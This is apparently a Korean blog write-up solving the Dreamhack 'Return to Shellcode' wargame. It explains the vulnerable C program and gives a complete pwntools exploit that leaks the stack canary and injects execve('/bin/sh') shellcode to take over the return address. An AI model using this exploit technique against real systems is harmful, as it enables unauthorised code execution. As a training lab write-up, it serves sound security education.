[드림핵 시스템 해킹] Wargame : Return to Shellcode

asdf·2025년 1월 9일

pwnable

목록 보기
10/36

풀이

취약점 분석

먼저 checksec r2s를 통해 적용된 보안 기법들을 살펴보겠습니다.

이전 문제들과는 다르게 Canary가 적용된 것을 알 수 있습니다.

이제 문제에서 제공해준 파일 r2s.c를 살펴보겠습니다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

입력을 받는 부분이 read(0, buf, 0x100), gets(buf)로 두 군데 있고 read 뒤에는 입력을 출력하는 printf 함수가 있습니다. 두 입력 다 입력 길이 제한이 없으므로 첫 번째 입력에서 카니리를 얻은 후 두 번째 입력에서 Return Address Overwrite를 적용하면 될 것 같습니다.

스택 프레임 구조 파악

문제 코드를 보면 buf의 주소와 buf와 rbp까지의 거리를 출력해줍니다.

buf와 rbp의 거리가 96바이트임을 알게 되었습니다.

익스플로잇 실행

#값 확인용 함수
def slog(n, m): return success(': '.join([n, hex(m)]))

#아키텍처 지정
context.arch = 'amd64'

p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)

buf의 주소를 p.recvline()을 이용해 받아서 10진수로 변환해 줍니다. 이 때 줄바꿈 문자를 제외하고 받아야 하기 때문에 recvline()에 [:-1]을 붙여 줍니다.

p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
buf2cnry = buf2sfp - 8

마찬가지로 buf와 rbp까지의 거리도 구합니다. canary는 8바이트 이므로 buf와 canary의 거리는 (buf와 rbp까지의 거리 - 8)임을 알 수 있습니다.

payload = b'A' * (buf2cnry + 1)
p.sendafter(b"Input: ", payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("Cnry", cnry)

canary를 얻기 위해 buf와 canary의 거리 + 1만큼 더미 데이터를 채워 payload를 보내겠습니다. 이 때 p.sendafter대신 p.sendafterline을 사용하게 되면 줄바꿈 문자가 하나 더 들어가므로 정상적으로 카나리를 얻을 수 없으니 주의해야합니다.
canary가 정상적으로 얻어짐을 확인할 수 있습니다.

그럼 이제 payload에 얻은 canary를 더한 후 return address overwrite를 사용하면 문제를 해결할 수 있습니다.

#sh = execve("/bin/sh", NULL, NULL)의 셸코드
sh = asm(shellcraft.sh())
#sh를 좌측정렬하고 나머지를 b'A'로 채운 buf2cnry길이의 문자열
payload = sh.ljust(buf2cnry, b'A')
payload += p64(cnry)
#SFP
payload += b'B' * 8
payload += p64(buf)
p.sendlineafter(b"Input: ", payload)
p.interactive()

sh = asm(shellcraft.sh())는 execve("/bin/sh", NULL, NULL)의 셸코드를 간단하게 만들어 주는 pwntools의 기능입니다.
payload를 작성해서 전달하면 셸을 얻을 수 있게 됩니다. 아래는 전체 코드입니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 9132)

p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Buf", buf)

p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
buf2cnry = buf2sfp - 8
slog("buf2sfp", buf2sfp)
slog("buf2cnry", buf2cnry)

payload = b'A' * (buf2cnry + 1)
p.sendafter(b"Input: ", payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("Cnry", cnry)

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A')
payload += p64(cnry)
payload += b'B' * 8
payload += p64(buf)
p.sendlineafter(b"Input: ", payload)
p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글